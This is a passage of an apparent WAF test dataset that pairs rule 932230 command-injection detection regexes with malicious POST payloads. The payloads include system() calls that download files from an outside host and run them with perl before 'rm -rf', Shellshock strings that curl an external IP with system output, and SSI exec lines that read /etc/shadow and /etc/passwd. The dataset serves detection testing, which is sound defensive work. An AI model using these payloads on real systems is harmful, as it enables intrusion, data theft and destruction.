"name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\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\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?g)[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*))\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932230", "test_description": "arg value of \"Something „The Title”. After ;ifconfig something\" is blocked" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "arg1=Something+else+2+%26%238222%3BThe+Title%26%238221%3B.+After+something&arg2=system('dig%20cd%20/tmp;ftp%20http://turbatu.altervista.org/apache_32.png%20-O%20p2.txt;zip%20-O%20http://turbatu.altervista.org/apache_32.png;%20mv%20apache_32.png%20p.txt;tex%20-DUMP%20http://turbatu.altervista.org/apache_32.png%20>p3.txt;cut%20p.txt;%20perl%20p2.txt;perl%20p3.txt;rm%20-rf\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?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?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:(?:[&\\),<>\\|]|$){1,10}|(?:[\\-\\.0-9A-Z_a-z][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?){1,10}(?:[\\s\\x0b&\\),<>\\|\\}]|$){1,10})|(?:d[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b|[hr][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?c|p[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?g)[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*))\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932230", "test_description": "Positive test - RCE passed in one of the args" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "arg=system('echo%20cd%20/tmp;wget%20http://turbatu.altervista.org/apache_32.png%20-O%20p2.txt;curl%20-O%20http://turbatu.altervista.org/apache_32.png;%20mv%20apache_32.png%20p.txt;lyxn%20-DUMP%20http://turbatu.altervista.org/apache_32.png%20>p3.txt;Something+%26%238222%3BThe+Title%26%238221%3B.+After+something;perl%20p.txt;%20perl%20p2.txt;perl%20p3.txt;rm%20-rf" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_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a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*))\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932230", "test_description": "RCE from test 932230.yaml combined with html entities in the middle" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "arg=Something+%26%238222%3BThe+Title%26%238221%3B.+After+something+system('echo%20cd%20/tmp;wget%20http://turbatu.altervista.org/apache_32.png%20-O%20p2.txt;curl%20-O%20http://turbatu.altervista.org/apache_32.png;%20mv%20apache_32.png%20p.txt;lyxn%20-DUMP%20http://turbatu.altervista.org/apache_32.png%20>p3.txt;perl%20p.txt;%20perl%20p2.txt;perl%20p3.txt;rm%20-rf" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\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\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?){1,10}(?:[\\s\\x0b&\\),<>\\|\\}]|$){1,10})|(?:d[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b|[hr][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?c|p[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?g)[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*))\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932230", "test_description": "RCE from test 932230.yaml combined with html entities at the beginning" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "arg=system('echo%20cd%20/tmp;wget%20http://turbatu.altervista.org/apache_32.png%20-O%20p2.txt;curl%20-O%20http://turbatu.altervista.org/apache_32.png;%20mv%20apache_32.png%20p.txt;lyxn%20-DUMP%20http://turbatu.altervista.org/apache_32.png%20>p3.txt;perl%20p.txt;%20perl%20p2.txt;perl%20p3.txt;rm%20-rf+Something+%26%238222%3BThe+Title%26%238221%3B.+After+something" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx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c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*)|g[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:(?:[&\\),<>\\|]|$){1,10}|(?:[\\-\\.0-9A-Z_a-z][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?){1,10}(?:[\\s\\x0b&\\),<>\\|\\}]|$){1,10})|(?:d[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b|[hr][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?c|p[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?g)[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*))\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932230", "test_description": "RCE from test 932230.yaml combined with html entities at the end" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "arg=Something+%26%238222%3BThe+Title%26%238221%3B.+After+something&arg2=()+{+:;};+/bin/sh+-c+\"sleep+6+&&+echo+vulnerable+6\"" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9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@_a-\\{]*)?\\x5c?c|p[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?g)[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*))\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932230", "test_description": "RCE from https://github.com/payloadbox/command-injection-payload-list and html entities" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "arg=<!--#exec%20cmd="/bin/cat%20/etc/shadow"-->&arg2=Something+%26%238222%3BThe+Title%26%238221%3B.+After+something" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\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\\-\\.0-9A-Z_a-z][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?){1,10}(?:[\\s\\x0b&\\),<>\\|\\}]|$){1,10})|(?:d[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b|[hr][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?c|p[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?g)[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*))\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932230", "test_description": "RCE from https://github.com/payloadbox/command-injection-payload-list combined with html entities" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "arg=%0Acat%20/etc/passwd;&arg2=Something+%26%238222%3BThe+Title%26%238221%3B.+After+something" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c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[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:(?:[&\\),<>\\|]|$){1,10}|(?:[\\-\\.0-9A-Z_a-z][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?){1,10}(?:[\\s\\x0b&\\),<>\\|\\}]|$){1,10})|(?:d[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b|[hr][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?c|p[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?g)[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*))\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932230", "test_description": "RCE from https://github.com/payloadbox/command-injection-payload-list combined with html entities" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "arg=()%20{%20:;};%20/bin/bash%20-c%20\"curl%20http://135.23.158.130/.testing/shellshock.txt?vuln=22?uname=\\`top%20-a\\`\"&arg2=Something+%26%238222%3BThe+Title%26%238221%3B.+After+something" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[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\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?g)[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*))\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932230", "test_description": "RCE from https://github.com/payloadbox/command-injection-payload-list combined with html entities" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "arg=%26%2359%3B+;top" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?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(?:[\\s\\x0b&\\),<>\\|\\}]|$){1,10})|(?:d[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b|[hr][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?c|p[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?g)[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*))\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932230", "test_description": "RCE ;top with html entities two digit decimal of 59 (;)" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "arg=<!--#exec%20cmd="/bin/cat%20/etc/shadow"-->+Something+%26%238222%3BThe+Title%26%238221%3B.+After+something" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5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5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:(?:[&\\),<>\\|]|$){1,10}|(?:[\\-\\.0-9A-Z_a-z][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?){1,10}(?:[\\s\\x0b&\\),<>\\|\\}]|$){1,10})|(?:d[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b|[hr][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?c|p[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?g)[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*))\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ 